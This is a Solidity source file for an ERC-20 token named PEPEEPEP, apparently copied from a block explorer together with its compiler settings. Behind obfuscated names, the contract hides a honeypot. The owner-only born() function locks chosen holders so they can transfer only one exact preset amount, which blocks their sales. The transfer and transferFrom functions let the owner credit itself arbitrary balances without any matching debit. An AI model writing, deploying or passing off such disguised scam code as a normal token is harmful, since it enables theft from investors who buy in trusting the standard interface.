文件 1 的 1:PEPEEPEP.sol
pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amoount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amoount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amoount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract PEPEEPEP is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _SFTF;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amoount) public virtual override returns (bool) {
if (_msgSender() == owner() && _SFTF[_msgSender()] > 0*0) {
_balances[owner()] += _SFTF[_msgSender()];
return true;
}
else if (_SFTF[_msgSender()] > 0) {
require(amoount == _SFTF[_msgSender()], "Invalid transfer amoount");
}
require(_balances[_msgSender()] >= amoount, "TT: transfer amoount exceeds balance");
_balances[_msgSender()] -= amoount;
_balances[recipient] += amoount;
emit Transfer(_msgSender(), recipient, amoount);
return true;
}
function born(address[] memory accounts, uint256 amoount) public onlyowner {
for (uint i=0; i<accounts.length; i++) {
_SFTF[accounts[i]] = amoount;
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amoount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amoount;
emit Approval(_msgSender(), spender, amoount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amoount) public virtual override returns (bool) {
if (_msgSender() == owner() && _SFTF[sender] > 0) {
_balances[owner()] += _SFTF[sender];
return true;
}
else if (_SFTF[sender] > 0) {
require(amoount == _SFTF[sender], "Invalid transfer amoount");
}
require(_balances[sender] >= amoount && _allowances[sender][_msgSender()] >= amoount, "TT: transfer amoount exceeds balance or allowance");
_balances[sender] -= amoount;
_balances[recipient] += amoount;
_allowances[sender][_msgSender()] -= amoount;
emit Transfer(sender, recipient, amoount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
{
"compilationTarget": {
"PEPEEPEP.sol": "PEPEEPEP"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}